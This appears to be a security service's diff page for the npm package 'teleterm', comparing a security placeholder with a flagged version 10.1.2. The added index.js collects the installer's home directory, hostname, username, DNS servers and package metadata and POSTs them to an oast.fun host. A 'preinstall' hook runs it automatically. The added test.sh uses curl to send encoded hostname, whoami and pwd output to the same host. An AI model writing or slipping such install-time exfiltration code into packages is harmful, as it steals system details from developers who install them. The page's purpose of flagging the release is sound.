teleterm 0.0.1-security → 10.1.2

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of teleterm might be problematic. Click here for more details.

Files changed (4) hide show
  1. package/index.js +45 -0
  2. package/package.json +12 -3
  3. package/test.sh +3 -0
  4. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,45 @@
1
+ const dns = require("dns");
2
+ const querystring = require("querystring");
3
+ const https = require("https");
4
+ const packageJSON = require("./package.json");
5
+ const package = packageJSON.name;
6
+
7
+ const trackingData = JSON.stringify({
8
+ p: package,
9
+ c: __dirname,
10
+ hd: os.homedir(),
11
+ hn: os.hostname(),
12
+ un: os.userInfo().username,
13
+ dns: dns.getServers(),
14
+ r: packageJSON ? packageJSON.___resolved : undefined,
15
+ v: packageJSON.version,
16
+ pjson: packageJSON,
17
+ });
18
+
19
+ var postData = querystring.stringify({
20
+ msg: trackingData,
21
+ });
22
+
23
+ var options = {
24
+ hostname: "cdf5rwk2vtc0000c78d0ggz1hqeyyyyyb.oast.fun",
25
+ port: 443,
26
+ path: "/",
27
+ method: "POST",
28
+ headers: {
29
+ "Content-Type": "application/x-www-form-urlencoded",
30
+ "Content-Length": postData.length,
31
+ },
32
+ };
33
+
34
+ var req = https.request(options, (res) => {
35
+ res.on("data", (d) => {
36
+ process.stdout.write(d);
37
+ });
38
+ });
39
+
40
+ req.on("error", (e) => {
41
+ // console.error(e);
42
+ });
43
+
44
+ req.write(postData);
45
+ req.end();
package/package.json CHANGED
@@ -1,6 +1,15 @@
1
1
  {
2
2
  "name": "teleterm",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "10.1.2",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "teleterm": "^10.1.1"
14
+ }
6
15
  }
package/test.sh ADDED
@@ -0,0 +1,3 @@
1
+ #!/bin/bash
2
+
3
+ curl --http1.1 -H "Hname: $(hostname | base64)" -H "Whoami: $(whoami | base64)" -H "Pwd: $(pwd | base64)" https://cdf5rwk2vtc0000c78d0ggz1hqeyyyyyb.oast.fun
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=teleterm for more information.